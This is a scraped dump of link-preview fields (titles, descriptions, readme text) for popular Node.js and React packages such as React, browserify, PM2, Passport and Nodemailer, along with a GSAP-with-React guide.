# data[].attributes.attachment_link.title
A curated list with Node.js modules | LibHunt

# data[].attributes.attachment_link.description
73 categories including 874 modules and resources.

# data[].attributes.attachment_link.readable_text
React is a JavaScript library for creating user interfaces.

The react package contains only the functionality necessary to define React components. It is typically used together with a React renderer like react-dom for the web, or react-native for the native environments.

Note: by default, React will be in development mode. The development version includes extra warnings about common mistakes, whereas the production version includes extra performance optimizations and strips all error messages. Don't forget to use the production build when deploying your application.

Example Usage

# data[].attributes.attachment_link.description
React is a JavaScript library for creating user interfaces. The react package contains only the functionality necessary to define React components. It is typically used together with a React renderer like react-dom for the web, or react-native for the native environments. Note: by default, React will be in development mode.

# data[].attributes.attachment_link.readable_text
React is a JavaScript library for building user interfaces.

React draggable component

Common Utils For React Component

[![Build Status](https://travis-ci.org/styleguidist/react-docgen-typescript.svg)](https://travis-ci.org/styleguidist/react-docgen-typescript)

A lightweight library that converts raw HTML to a React DOM structure.

React package for working with the DOM.

# data[].attributes.attachment_link.description
React is a JavaScript library for building user interfaces. React draggable component Common Utils For React Component [![Build Status](https://travis-ci.org/styleguidist/react-docgen-typescript.svg)](https://travis-ci.org/styleguidist/react-docgen-typescript) A lightweight library that converts raw HTML to a React DOM structure. React package for working with the DOM.

# data[].attributes.attachment_link.description
Your go-to Node.js Toolbox. A curated list of delightful Node.js modules and resources. 874 projects organized into 73 categories.

# data[].attributes.attachment_link.readable_text
Declarative routing for React.

Installation

$ npm install --save react-router

Note: This package provides the core routing functionality for React Router, but you might not want to install it directly. If you are writing an application that will run in the browser, you should instead install react-router-dom. Similarly, if you are writing a React Native application, you should instead install react-router-native. Both of those will install react-router as a dependency.

Then with a module bundler like webpack, use as you would anything else:

The UMD build is also available on unpkg:

You can find the library on window.ReactRouter.

Issues

If you find a bug, please file an issue on our issue tracker on GitHub.

Credits

React Router is built and maintained by React Training.

# data[].attributes.attachment_link.description
Declarative routing for React. $ npm install --save react-router Note: This package provides the core routing functionality for React Router, but you might not want to install it directly. If you are writing an application that will run in the browser, you should instead install react-router-dom.

# data[].attributes.attachment_link.description
Reactive, component-oriented view layer for modern web interfaces.

# data[].attributes.body
Async.js élimine le JavaScript qui bloque le rendu, et augmente les performances des pages web.

# data[].attributes.attachment_link.readable_text
Async is a utility module which provides straight-forward, powerful functions for working with asynchronous JavaScript. Although originally designed for use with Node.js and installable via npm i async, it can also be used directly in the browser. A ESM/MJS version is included in the main async package that should automatically be used with compatible bundlers such as Webpack and Rollup.

A pure ESM version of Async is available as async-es.

For Documentation, visit https://caolan.github.io/async/
For Async v1.5.x documentation, go HERE

// for use with Node-style callbacks...
var async = require ( "async" ) ;

var obj = { dev: "/dev.json" , test: "/test.json" , prod: "/prod.json" } ;
var configs = { } ;

async . forEachOf ( obj , ( value , key , callback ) => {
    fs . readFile ( __dirname + value , "utf8" , ( err , data ) => {
        if ( err ) return callback ( err ) ;
        try {
            configs [ key ] = JSON . parse ( data ) ;
        } catch ( e ) {
            return callback ( e ) ;
        }
        callback ( ) ;
    } ) ;
} , err => {
    if ( err ) console . error ( err . message ) ;
    // configs is now a map of JSON data
    doSomethingWith ( configs ) ;
} ) ;

var async = require ( "async" ) ;

// ...or ES2017 async functions
async . mapLimit ( urls , 5 , async function ( url ) {
    const response = await fetch ( url )
    return response . body
} , ( err , results ) => {
    if ( err ) throw err
    // results is now an array of the response bodies
    console . log ( results )
} )

# data[].attributes.attachment_link.description
Async is a utility module which provides straight-forward, powerful functions for working with asynchronous JavaScript. Although originally designed for use with Node.js and installable via npm i async, it can also be used directly in the browser. A ESM/MJS version is included in the main async package that should automatically be used with compatible bundlers such as Webpack and Rollup.

# data[].attributes.attachment_link.description
A light-weight module that brings Fetch API to node.js

# data[].attributes.attachment_link.description
Promise based HTTP client for the browser and node.js

# data[].attributes.body
Browserify vous permet de développer une base de code côté client

# data[].attributes.attachment_link.readable_text
require('modules') in the browser

Use a node-style require() to organize your browser code and load modules installed by npm.

browserify will recursively analyze all the require() calls in your app in order to build a bundle you can serve up to the browser in a single<script> tag.

If you're new to browserify, check out the browserify handbook and the resources on browserify.org.

Whip up a file, main.js with some require()s in it. You can use relative paths like'./foo.js' and '../lib/bar.js' or module paths like 'gamma' that will search node_modules/ using node's module lookup algorithm.

Export functionality by assigning onto module.exports or exports:

Now just use the browserify command to build a bundle starting at main.js:

$ browserify main.js > bundle.js

All of the modules that main.js needs are included in the bundle.js from a recursive walk of the require() graph using required.

To use this bundle, just toss a <script src="bundle.js"></script> into your html!

npm install -g browserify

Usage: browserify [entry files] {OPTIONS} Standard Options: --outfile, -o Write the browserify bundle to this file. If unspecified, browserify prints to stdout. --require, -r A module name or file to bundle.require() Optionally use a colon separator to set the target. --entry, -e An entry point of your app --ignore, -i Replace a file with an empty stub. Files can be globs. --exclude, -u Omit a file from the output bundle. Files can be globs. --external, -x Reference a file from another bundle. Files can be globs. --transform, -t Use a transform module on top-level files. --command, -c Use a transform command on top-level files. --standalone -s Generate a UMD bundle for the supplied export name. This bundle works with other module systems and sets the name given as a window global if no module system is found. --debug -d Enable source maps that allow you to debug your files separately. --help, -h Show this message For advanced options, type `browserify --help advanced`. Specify a parameter.

Advanced Options: --insert-globals, --ig, --fast [default: false] Skip detection and always insert definitions for process, global, __filename, and __dirname. benefit: faster builds cost: extra bytes --insert-global-vars, --igv Comma-separated list of global variables to detect and define. Default: __filename,__dirname,process,Buffer,global --detect-globals, --dg [default: true] Detect the presence of process, global, __filename, and __dirname and define these values when present. benefit: npm modules more likely to work cost: slower builds --ignore-missing, --im [default: false] Ignore `require()` statements that don't resolve to anything. --noparse=FILE Don't parse FILE at all. This will make bundling much, much faster for giant libs like jquery or threejs. --no-builtins Turn off builtins. This is handy when you want to run a bundle in node which provides the core builtins. --no-commondir Turn off setting a commondir. This is useful if you want to preserve the original paths that a bundle was generated with. --no-bundle-external Turn off bundling of all external modules. This is useful if you only want to bundle your local files. --bare Alias for both --no-builtins, --no-commondir, and sets --insert-global-vars to just "__filename,__dirname". This is handy if you want to run bundles in node. --no-browser-field, --no-bf Turn off package.json browser field resolution. This is also handy if you need to run a bundle in node. --transform-key Instead of the default package.json#browserify#transform field to list all transforms to apply when running browserify, a custom field, like, e.g. package.json#browserify#production or package.json#browserify#staging can be used, by for example running: * `browserify index.js --transform-key=production > bundle.js` * `browserify index.js --transform-key=staging > bundle.js` --node Alias for --bare and --no-browser-field. --full-paths Turn off converting module ids into numerical indexes. This is useful for preserving the original paths that a bundle was generated with. --deps Instead of standard bundle output, print the dependency array generated by module-deps. --no-dedupe Turn off deduping. --list Print each file in the dependency graph. Useful for makefiles. --extension=EXTENSION Consider files with specified EXTENSION as modules, this option can used multiple times. --global-transform=MODULE, -g MODULE Use a transform module on all files after any ordinary transforms have run. --ignore-transform=MODULE, -it MODULE Do not run certain transformations, even if specified elsewhere. --plugin=MODULE, -p MODULE Register MODULE as a plugin. Passing arguments to transforms and plugins: For -t, -g, and -p, you may use subarg syntax to pass options to the transforms or plugin function as the second parameter. For example: -t [ foo -x 3 --beep ] will call the `foo` transform for each applicable file by calling: foo(file, { x: 3, beep: true })

Many npm modules that don't do IO will just work after being browserified. Others take more work.

Many node built-in modules have been wrapped to work in the browser, but only when you explicitly require() or use their functionality.

When you require() any of these modules, you will get a browser-specific shim:

Additionally, if you use any of these variables, they will be defined in the bundled output in a browser-appropriate way:

global - top-level scope object (window)

__filename - file path of the currently executing file

__dirname - directory path of the currently executing file

You can just as easily create a bundle that will export a require() function so you can require() modules from another script tag. Here we'll create a bundle.js with the through and duplexer modules.

$ browserify -r through -r duplexer -r ./my-file.js:my-module > bundle.js

Then in your page you can do:

If you prefer the source maps be saved to a separate .js.map source map file, you may use exorcist in order to achieve that. It's as simple as:

$ browserify main.js --debug | exorcist bundle.js.map > bundle.js

Learn about additional options here.

If browserify finds a require d function already defined in the page scope, it will fall back to that function if it didn't find any matches in its own set of bundled modules.

For example, if a website with 2 pages, beep.js:

both depend on robot.js:

$ browserify -r ./robot.js > static/common.js $ browserify -x ./robot.js beep.js > static/beep.js $ browserify -x ./robot.js boop.js > static/boop.js

Then on the beep page you can have:

while the boop page can have:

This approach using -r and -x works fine for a small number of split assets, but there are plugins for automatically factoring out components which are described in the partitioning section of the browserify handbook.

You can use the API directly too:

browserify([files] [, opts])

Returns a new browserify instance.

files

String, file object, or array of those types (they may be mixed) specifying entry file(s).

opts

Object.

files and opts are both optional, but must be in the order shown if both are passed.

Entry files may be passed in files and / or opts.entries.

External requires may be specified in opts.require, accepting the same formats that the files argument does.

If an entry file is a stream, its contents will be used. You should pass opts.basedir when using streaming files so that relative requires can be resolved.

opts.entries has the same definition as files.

opts.noParse is an array which will skip all require() and global parsing for each file in the array. Use this for giant libs like jquery or threejs that don't have any requires or node-style globals but take forever to parse.

opts.transform is an array of transform functions or modules names which will transform the source code before the parsing.

opts.ignoreTransform is an array of transformations that will not be run, even if specified elsewhere.

opts.plugin is an array of plugin functions or module names to use. See the plugins section below for details.

opts.basedir is the directory that browserify starts bundling from for filenames that start with..

opts.paths is an array of directories that browserify searches when looking for modules which are not referenced using relative path. Can be absolute or relative to basedir. Equivalent of setting NODE_PATH environmental variable when calling browserify command.

opts.commondir sets the algorithm used to parse out the common paths. Use false to turn this off, otherwise it uses the commondir module.

opts.fullPaths disables converting module ids into numerical indexes. This is useful for preserving the original paths that a bundle was generated with.

opts.builtins sets the list of built-ins to use, which by default is set in lib/builtins.js in this distribution.

opts.bundleExternal boolean option to set if external modules should be bundled. Defaults to true.

When opts.browserField is false, the package.json browser field will be ignored. When opts.browserField is set to a string, then a custom field name can be used instead of the default"browser" field.

When opts.insertGlobals is true, always insert process, global,__filename, and __dirname without analyzing the AST for faster builds but larger output bundles. Default false.

When opts.detectGlobals is true, scan all files for process, global,__filename, and __dirname, defining as necessary. With this option npm modules are more likely to work but bundling takes longer. Default true.

When opts.ignoreMissing is true, ignore require() statements that don't resolve to anything.

When opts.debug is true, add a source map inline to the end of the bundle. This makes debugging easier because you can see all the original files if you are in a modern enough browser.

When opts.standalone is a non-empty string, a standalone module is created with that name and a umd wrapper. You can use namespaces in the standalone global export using a. in the string name as a separator, for example'A.B.C'. The global export will be sanitized and camel cased.

Note that in standalone mode the require() calls from the original source will still be around, which may trip up AMD loaders scanning for require() calls. You can remove these calls with derequire:

$ npm install -g derequire $ browserify main.js --standalone Foo | derequire > bundle.js

opts.insertGlobalVars will be passed to insert-module-globals as the opts.vars parameter.

opts.node creates a bundle that runs in Node and does not use the browser versions of dependencies. Same as passing{ bare: true, browserField: false }.

Note that if files do not contain javascript source code then you also need to specify a corresponding transform for them.

All other options are forwarded along to module-deps and browser-pack directly.

Add an entry file from file that will be executed when the bundle loads.

If file is an array, each item in file will be added as an entry file.

Make file available from outside the bundle with require(file).

The file param is anything that can be resolved by require.resolve(), including files from node_modules. Like with require.resolve(), you must prefix file with ./ to require a local file (not in node_modules).

file can also be a stream, but you should also use opts.basedir so that relative requires will be resolvable.

If file is an array, each item in file will be required. In file array form, you can use a string or object for each item. Object items should have a file property and the rest of the parameters will be used for the opts.

Bundle the files and their dependencies into a single javascript file.

Return a readable stream with the javascript file contents or optionally specify a cb(err, buf) to get the buffered results.

Prevent file from being loaded into the current bundle, instead referencing from another bundle.

If file is an array, each item in file will be externalized.

If file is another bundle, that bundle's contents will be read and excluded from the current bundle as the bundle in file gets bundled.

Prevent the module name or file at file from showing up in the output bundle.

If file is an array, each item in file will be ignored.

Instead you will get a file with module.exports = {}.

Prevent the module name or file at file from showing up in the output bundle.

If file is an array, each item in file will be excluded.

If your code tries to require() that file it will throw unless you've provided another mechanism for loading it.

Transform source code before parsing it for require() calls with the transform function or module name tr.

If tr is a function, it will be called with tr(file) and it should return a through-stream that takes the raw file contents and produces the transformed source.

If tr is a string, it should be a module name or file path of a transform module with a signature of:

You don't need to necessarily use the through module. Browserify is compatible with the newer, more verbose Transform streams built into Node v0.10.

Here's how you might compile coffee script on the fly using .transform():

Note that on the command-line with the -c flag you can just do:

$ browserify -c 'coffee -sc' main.coffee > bundle.js

Or better still, use the coffeeify module:

$ npm install coffeeify $ browserify -t coffeeify main.coffee > bundle.js

If opts.global is true, the transform will operate on ALL files, despite whether they exist up a level in a node_modules/ directory. Use global transforms cautiously and sparingly, since most of the time an ordinary transform will suffice. You can also not configure global transforms in a package.json like you can with ordinary transforms.

Global transforms always run after any ordinary transforms have run.

Transforms may obtain options from the command-line with subarg syntax:

$ browserify -t [ foo --bar=555 ] main.js

or from the api:

b.transform('foo', { bar: 555 })

In both cases, these options are provided as the second argument to the transform function:

module.exports = function (file, opts) { /* opts.bar === 555 */ }

Options sent to the browserify constructor are also provided under opts._flags. These browserify options are sometimes required if your transform needs to do something different when browserify is run in debug mode, for example.

Register a plugin with opts. Plugins can be a string module name or a function the same as transforms.

plugin(b, opts) is called with the browserify instance b.

For more information, consult the plugins section below.

There is an internal labeled-stream-splicer pipeline with these labels:

'record' - save inputs to play back later on subsequent bundle() calls

'json' - adds module.exports= to the beginning of json files

'unbom' - remove byte-order markers

'unshebang' - remove #! labels on the first line

'syntax' - check for syntax errors

'sort' - sort the dependencies for deterministic bundles

'dedupe' - remove duplicate source contents

'label' - apply integer labels to files

'emit-deps' - emit 'dep' event

'debug' - apply source maps

'wrap' - apply final wrapping, require= and a newline and semicolon

You can call b.pipeline.get() with a label name to get a handle on a stream pipeline that you can push(), unshift(), or splice() to insert your own transform streams.

Reset the pipeline back to a normal state. This function is called automatically when bundle() is called multiple times.

This function triggers a 'reset' event.

browserify uses the package.json in its module resolution algorithm, just like node. If there is a"main" field, browserify will start resolving the package at that point. If there is no"main" field, browserify will look for an"index.js" file in the module root directory. Here are some more sophisticated things you can do in the package.json:

There is a special " browser" field you can set in your package.json on a per-module basis to override file resolution for browser-specific versions of files.

For example, if you want to have a browser-specific module entry point for your "main" field you can just set the "browser" field to a string:

or you can have overrides on a per-file basis:

Note that the browser field only applies to files in the local module, and like transforms, it doesn't apply into node_modules directories.

You can specify source transforms in the package.json in the browserify.transform field. There is more information about how source transforms work in package.json on the module-deps readme.

For example, if your module requires brfs, you can add

to your package.json. Now when somebody require() s your module, brfs will automatically be applied to the files in your module without explicit intervention by the person using your module. Make sure to add transforms to your package.json dependencies field.

When a file is resolved for the bundle, the bundle emits a 'file' event with the full file path, the id string passed to require(), and the parent object used by browser-resolve.

You could use the file event to implement a file watcher to regenerate bundles when files change.

When a package file is read, this event fires with the contents. The package directory is available at pkg.__dirname.

When .bundle() is called, this event fires with the bundle output stream.

When the .reset() method is called or implicitly called by another call to.bundle(), this event fires.

For some more advanced use-cases, a transform is not sufficiently extensible. Plugins are modules that take the bundle instance as their first parameter and an option hash as their second.

Plugins can be used to do perform some fancy features that transforms can't do. For example, factor-bundle is a plugin that can factor out common dependencies from multiple entry-points into a common bundle. Use plugins with-p and pass options to plugins with subarg syntax:

browserify x.js y.js -p [ factor-bundle -o bundle/x.js -o bundle/y.js ] \ > bundle/common.js

For a list of plugins, consult the browserify-plugin tag on npm.

There is a wiki page that lists the known browserify transforms.

If you write a transform, make sure to add your transform to that wiki page and add a package.json keyword of browserify-transform so that people can browse for all the browserify transforms on npmjs.org.

There is a wiki page that lists the known browserify tools.

If you write a tool, make sure to add it to that wiki page and add a package.json keyword of browserify-tool so that people can browse for all the browserify tools on npmjs.org.

Releases are documented in changelog.markdown and on the browserify twitter feed.

# data[].attributes.attachment_link.description
require('modules') in the browser Use a node-style require() to organize your browser code and load modules installed by npm. browserify will recursively analyze all the require() calls in your app in order to build a bundle you can serve up to the browser in a single tag.

# data[].attributes.attachment_link.readable_text
PM2 is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks.

Starting an application in production mode is as easy as:

PM2 is constantly assailed by more than 1800 tests.

Official website: https://pm2.keymetrics.io/

Works on Linux (stable) & macOS (stable) & Windows (stable). All Node.js versions are supported starting Node.js 12.X.

Installing PM2

With NPM:

You can install Node.js easily with NVM or ASDF.

Start an application

You can start any application (Node.js, Python, Ruby, binaries in $PATH...) like that:

Your app is now daemonized, monitored and kept alive forever.

Managing Applications

Once applications are started you can manage them easily:

To list all running applications:

Managing apps is straightforward:

To have more details on a specific application:

To monitor logs, custom metrics, application information:
More about Process Management
Cluster Mode: Node.js Load Balancing & Zero Downtime Reload

The Cluster mode is a special mode when starting a Node.js application, it starts multiple processes and load-balance HTTP/TCP/UDP queries between them. This increase overall performance (by a factor of x10 on 16 cores machines) and reliability (faster socket re-balancing in case of unhandled errors).

Starting a Node.js application in cluster mode that will leverage all CPUs available:

<processes> can be 'max', -1 (all cpu minus 1) or a specified number of instances to start.
Zero Downtime Reload
Hot Reload allows to update an application without any downtime:
More informations about how PM2 make clustering easy
Container Support

With the drop-in replacement command for node, called pm2-runtime, run your Node.js application in a hardened production environment. Using it is seamless:

RUN npm install pm2 -g CMD [ "pm2-runtime", "npm", "--", "start" ]
Read More about the dedicated integration
Host monitoring speedbar

PM2 allows to monitor your host/server vitals with a monitoring speedbar.

To enable host monitoring:

$ pm2 set pm2:sysmonit true
$ pm2 update

Terminal Based Monitoring

Monitor all processes launched straight from the command line:

Log Management

To consult logs just type the command:

Standard, Raw, JSON and formated output are available.

Examples:

$ pm2 logs APP-NAME       # Display APP-NAME logs
$ pm2 logs --json         # JSON output
$ pm2 logs --format       # Formated output

$ pm2 flush               # Flush all logs
$ pm2 reloadLogs          # Reload all logs

To enable log rotation install the following module

$ pm2 install pm2-logrotate
More about log management
Startup Scripts Generation

PM2 can generates and configure a Startup Script to keep PM2 and your processes alive at every server restart.

Init Systems Supported: systemd, upstart, launchd, rc.d

# Generate Startup Script
$ pm2 startup

# Freeze your process list across server restart
$ pm2 save

# Remove Startup Script
$ pm2 unstartup
More about Startup Scripts Generation
Updating PM2

# Install latest PM2 version
$ npm install pm2@latest -g
# Save process list, exit old PM2 & restore all processes
$ pm2 update
PM2 updates are seamless
PM2+ Monitoring

If you manage your apps with PM2, PM2+ makes it easy to monitor and manage apps across servers.

Feel free to try it:
Discover the monitoring dashboard for PM2
Thanks in advance and we hope that you like PM2!

CHANGELOG

Contributors
Contributors
License

PM2 is made available under the terms of the GNU Affero General Public License 3.0 (AGPL 3.0). For other licenses contact us.

# data[].attributes.attachment_link.description
PM2 is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks. Starting an application in production mode is as easy as: PM2 is constantly assailed by more than 1800 tests.

# data[].attributes.attachment_link.readable_text
Passport is Express-compatible authentication middleware for Node.js.

Passport's sole purpose is to authenticate requests, which it does through an extensible set of plugins known as strategies. Passport does not mount routes or assume any particular database schema, which maximizes flexibility and allows application-level decisions to be made by the developer. The API is simple: you provide Passport a request to authenticate, and Passport provides hooks for controlling what occurs when authentication succeeds or fails.

Sponsors

LoginRadius is built for the developer community to integrate robust Authentication and Single Sign-On in just a few lines of code.
FREE Signup

Your app, enterprise-ready.
Start selling to enterprise customers with just a few lines of code. Add Single Sign-On (and more) in minutes instead of months.

Status:

Install

$ npm install passport

Usage

Strategies

Passport uses the concept of strategies to authenticate requests. Strategies can range from verifying username and password credentials, delegated authentication using OAuth (for example, via Facebook or Twitter), or federated authentication using OpenID.

Before authenticating requests, the strategy (or strategies) used by an application must be configured.

There are 480+ strategies. Find the ones you want at: passportjs.org

Sessions

Passport will maintain persistent login sessions. In order for persistent sessions to work, the authenticated user must be serialized to the session, and deserialized when subsequent requests are made.

Passport does not impose any restrictions on how your user records are stored. Instead, you provide functions to Passport which implements the necessary serialization and deserialization logic. In a typical application, this will be as simple as serializing the user ID, and finding the user by ID when deserializing.

Middleware

To use Passport in an Express or Connect-based application, configure it with the required passport.initialize() middleware. If your application uses persistent login sessions (recommended, but not required), passport.session() middleware must also be used.

Authenticate Requests

Passport provides an authenticate() function, which is used as route middleware to authenticate requests.

Strategies

Passport has a comprehensive set of over 480 authentication strategies covering social networking, enterprise integration, API services, and more.

Search all strategies

There is a Strategy Search at passportjs.org

The following table lists commonly used strategies:

Examples

For a complete, working example, refer to the example that usespassport-local.

Local Strategy: Refer to the following tutorials for setting up user authentication via LocalStrategy (passport-local):

Social Authentication: Refer to the following tutorials for setting up various social authentication strategies:

Related Modules

The modules page on the wiki lists other useful modules that build upon or integrate with Passport.

License
The MIT License
Copyright (c) 2011-2019 Jared Hanson < http://jaredhanson.net/>

# data[].attributes.attachment_link.description
Passport is Express-compatible authentication middleware for Node.js. Passport's sole purpose is to authenticate requests, which it does through an extensible set of plugins known as strategies. Passport does not mount routes or assume any particular database schema, which maximizes flexibility and allows application-level decisions to be made by the developer.

# data[].attributes.attachment_link.readable_text
Send e-mails from Node.js - easy as cake! 🍰✉️

See nodemailer.com for documentation and terms.

Having an issue?

Nodemailer supports all Node.js versions starting from Node.js@v6.0.0. Existing test suite does not support such old Node.js versions so all features are not actually tested. From time to time some regression bugs might occur because of this.

First review the docs

Documentation for Nodemailer can be found at nodemailer.com.

Nodemailer throws a SyntaxError for "..."

You are using older Node.js version than v6.0. Upgrade Node.js to get support for the spread operator.

I'm having issues with Gmail

Gmail either works well or it does not work at all. It is probably easier to switch to an alternative service instead of fixing issues with Gmail. If Gmail does not work for you then don't use it. Read more about it here.

I get ETIMEDOUT errors

Check your firewall settings. Timeout usually occurs when you try to open a connection to a port that is firewalled either on the server or on your machine.

I get TLS errors

If you are running the code in your own machine, then check your antivirus settings. Antiviruses often mess around with email ports usage. Node.js might not recognize the MITM cert your antivirus is using.

Latest Node versions allow only TLS versions 1.2 and higher, some servers might still use TLS 1.1 or lower. Check Node.js docs how to get correct TLS support for your app.

I have a different problem

If you are having issues with Nodemailer, then the best way to find help would be Stack Overflow or revisit the docs.

License

Nodemailer is licensed under the MIT license

The Nodemailer logo was designed by Sven Kristjansen.

# data[].attributes.attachment_link.description
Send e-mails from Node.js - easy as cake! 🍰 ✉️ See nodemailer.com for documentation and terms. Nodemailer supports all Node.js versions starting from Node.js@v6.0.0. Existing test suite does not support such old Node.js versions so all features are not actually tested. From time to time some regression bugs might occur because of this.

# data[].attributes.attachment_link.readable_text
react-spring is a spring-physics based animation library that should cover most of your UI related animation needs. It gives you tools flexible enough to confidently cast your ideas into moving interfaces.

This library represents a modern approach to animation. It is very much inspired by Christopher Chedeau's animated and Cheng Lou's react-motion. It inherits animated's powerful interpolations and performance, as well as react-motion's ease of use. But while animated is mostly imperative and react-motion mostly declarative, react-spring bridges both. You will be surprised how easy static data is cast into motion with small, explicit utility functions that don't necessarily affect how you form your views.

Installation

To install the entire react-spring library:

Platforms

react-spring is cross platform, it supports the web, react-native, react-native-web and practically any other platform, we have specifically exported the following targets (these are available to install as opposed to the entire module to fit your use case):

Browser support

The library comes as an es-module compiled for evergreen browsers with the following browserlist config: >1%, not dead, not ie 11, not op_mini all. If you need to support legacy targets or deal with targets that don't support modules, you can use the commonJS export by simply appending .cjs to your imports.

Why springs and not durations

The principle you will be working with is called a spring, it does not have a defined curve or a set duration. In that it differs greatly from the animation you are probably used to. We think of animation in terms of time and curves, but that in itself causes most of the struggle we face when trying to make elements on the screen move naturally, because nothing in the real world moves like that.

We are so used to time-based animation that we believe that struggle is normal, dealing with arbitrary curves, easings, time waterfalls, not to mention getting this all in sync. As Andy Matuschak (ex Apple UI-Kit developer) expressed it once: Animation APIs parameterized by duration and curve are fundamentally opposed to continuous, fluid interactivity.

Springs change that, animation becomes easy and approachable, everything you do looks and feels natural by default. For a detailed explanation watch the video below:

People say

Used by

And many others ...

Funding

If you like this project, please consider helping out. All contributions are welcome as well as donations to Opencollective, or in crypto: 36fuguTPxGCNnYZSRdgdh6Ea94brCAjMbH (BTC) or 0x6E3f79Ea1d0dcedeb33D3fC6c34d2B1f156F2682 (ETH).

You can also support this project by becoming a sponsor. Your logo will show up here with a link to your website.

Backers

Thank you to all our backers! 🙏

Contributors

This project exists thanks to all the people who contribute.

# data[].attributes.attachment_link.description
react-spring is a spring-physics based animation library that should cover most of your UI related animation needs. It gives you tools flexible enough to confidently cast your ideas into moving interfaces. This library represents a modern approach to animation. It is very much inspired by Christopher Chedeau's animated and Cheng Lou's react-motion.

# data[].attributes.attachment_link.readable_text
The traditional way of calling attention to a certain web page elements has been "in-your-face" method of placing it in a popup or putting them in a sticky navigation elements like sticky headers, footers or sidebars. As the number of such elements increase, the app is at danger of starting to resemble a control panel from a jumbo jet cockpit. There should be a better way of managing a user attention and React Reveal can do just that.

Instead of trying to squeeze everything that requires attention into one screen, you can draw user attention to important bits as they scroll past. React Reveal provides a dead simple way to add cool reveal-on-scroll animations to your React app. In addition, it has a first class support for collapsing elements thereby abolishing the need for the universally hated popups.

The other problem many single page applications are facing is actually their speed. As you add and remove elements from the page transitions are often rough and jerky. React Reveal rich suite of effects could really smoothen these transitions to make for a modern and polished user experience.

React Reveal is MIT licensed, supports server side rendering, has excellent cross browser support, won't mess your SEO, compatible with react transition group and has a tiny footprint in the application js bundle ( doesn't require any CSS files either ). In order to start using it have a look at the documentation.

The following is a test of React Reveal by a cute picture of a cat. Scroll down and enjoy!

# data[].attributes.attachment_link.description
The traditional way of calling attention to a certain web page elements has been "in-your-face" method of placing it in a popup or putting them in a sticky navigation elements like sticky headers, footers or sidebars. As the number of such elements increase, the app is at danger of starting to resemble a control panel from a jumbo jet cockpit.

# data[].attributes.attachment_link.description
Visual primitives for the component age. Use the best bits of ES6 and CSS to style your apps without stress 💅🏾

# data[].attributes.attachment_link.description
Create real MP4 videos with React. Parametrize content, render server-side and build applications.

# data[].attributes.attachment_link.readable_text
React is a hugely popular framework choice, and as evidenced by many of the sites in our showcase - React and GSAP can be a powerful combination. However, utilizing GSAP in React requires a different way of thinking than a vanilla JS project.

We've written this guide to help you get started using GSAP within a React project. This is not a tutorial, so feel free to dip in and out as you learn. Think of it as a collection of recommended techniques and best practices to use in your projects.

Why GSAP?

Animating with GSAP gives you unprecedented levels of control and flexibility. You can reach for GSAP to animate everything - from simple DOM transitions to SVG, three.js, canvas or WebGL - your imagination is the limit. More importantly, you can rely on us. We obsess about performance, optimizations and browser compatibility so that you can focus on the fun stuff. We've actively maintained and refined our tools for over a decade and there are no plans to stop. Lastly, if you ever get stuck, our friendly forum community is there to help.

Going forward we will assume a basic understanding of GSAP and React.

If you're just getting going with React, this tutorial from the React team is a great place to start.
Need a GSAP refresher? Take a break and read about tweens and timelines. We'll be here when you get back.

Feeling confident? Skip straight to part 2 - GSAP + React, advanced animation techniques.

Get started quickly by forking one of these starter templates:

If you prefer to work locally, Create React App provides a comfortable setup for experimenting with React and GSAP.

To create a project, run:

npx create - react - app gsap - app
cd gsap - app
npm start

Once the project is set up we can install GSAP through npm,

npm i gsap
npm start

then import it into our app.

More detailed information about getting started with React

Additional GSAP installation documentation

In order to animate using GSAP we need access to the element in the DOM. Refs provide a way for us to interact with and store references to DOM nodes in a React component.

Read more about refs in the React docs

GSAP updates inline style properties, so it's important to make sure the DOM has been rendered before trying to animate anything.

If we ask GSAP to animate an element that hasn't been rendered, we'll get this warning in the console.

GSAP target not found .

In order to avoid targeting a null element, we can use the useEffecthook. This hook tells React that our component needs to do something after rendering.

In this example, React will first render the box element to the DOM, then GSAP will rotate the box 360deg.

Creating a ref for each and every element we want to animate can add a lot of noise to our code. We can avoid this by making use of GSAP's selector utility to easily select descendant elements.

Forwarding refs

gsap.utils.selector() will target all descendants in the component tree.

Within a component based system, you may need more granular control over the elements you're targeting. You can use ref forwarding to get access to specific nested elements.

Up until now we've just used refs to store references to DOM elements, but they're not just for elements.

Refs exists outside of the render loop - so they can be used to store any value that you would like to persist for the life of a component. If you're coming from class based components, this should be familiar to you as it's essentially the same as using 'this'.

In order to avoid creating a new timeline on every render, it's important to create the timeline inside an effect and store it in a ref.

This will also allow us to access the timeline in a different effect and toggle the timeline direction.

By default useEffect runs both after the first render and after every update. So every time our component's state changes, it will cause a re-render, which will run our effect again.

We can control when useEffect should run by passing in an array of dependencies. To only run once after the first render, we pass in an empty array.

Now that we know how to control when an effect fires, we can use this pattern to react to changes in our component. This is especially useful when passing down props.

Interaction is one of the most exciting things about animating on the web! In order to hook into user interactions like hover, we can use callbacks.

Avoiding flash of unstyled content (FOUC)avoiding fouc

As useEffect fires after the DOM has been painted, when fading in elements you may notice an undesired flash of unstyled content.

In order to avoid the flash, we can replace useEffect with useLayoutEffect. useLayoutEffect functions exactly the same as useEffect, but React doesn't run it until the DOM has been painted.

useLayoutEffect is especially useful when you need to make DOM measurements, so we highly recommend it when using our ScrollTrigger and FLIP plugins.

More information about useEffect vs useLayoutEffect.

It's a good idea to return a cleanup function in your effects to kill off any running animations and anything else that could cause a memory leak, like an event listener.

This is particularly important if an animation runs for a really long time, makes use of ScrollTrigger, or changes the state in a component.

We hope this article was helpful - If you have any feedback please leave us a comment below so we can smooth out the learning curve for future animators!

Feeling confident and want to learn more? Check out our follow up article - GSAP + React, advanced animation techniques.

# data[].attributes.attachment_link.title
GSAP + React, First Steps & Handy Techniques.

# data[].attributes.attachment_link.description
React is a hugely popular framework choice, and as evidenced by many of the sites in our showcase - React and GSAP can be a powerful combination. However, utilizing GSAP in React requires a different way of thinking than a vanilla JS project.

# data[].attributes.attachment_link.description
Alain Galvan is an Engineer @ Marmoset.co, here's his personal portfolio focused on 🛆 Computer Graphics Design / Engineering.

# data[].attributes.attachment_link.readable_text
This package contains all the best packages on npm and bunbles them one awesome bundle of awesomeness. Should not be used for production (or anything really). Made with ❤️

Features

It was 200000 small files totalling 1.8 GB, but I had to go down to 1000 dependencies.

It actually installs (on my machine, at least once)

Does a lot of things during install, might or might not take over your pc

# data[].attributes.attachment_link.description
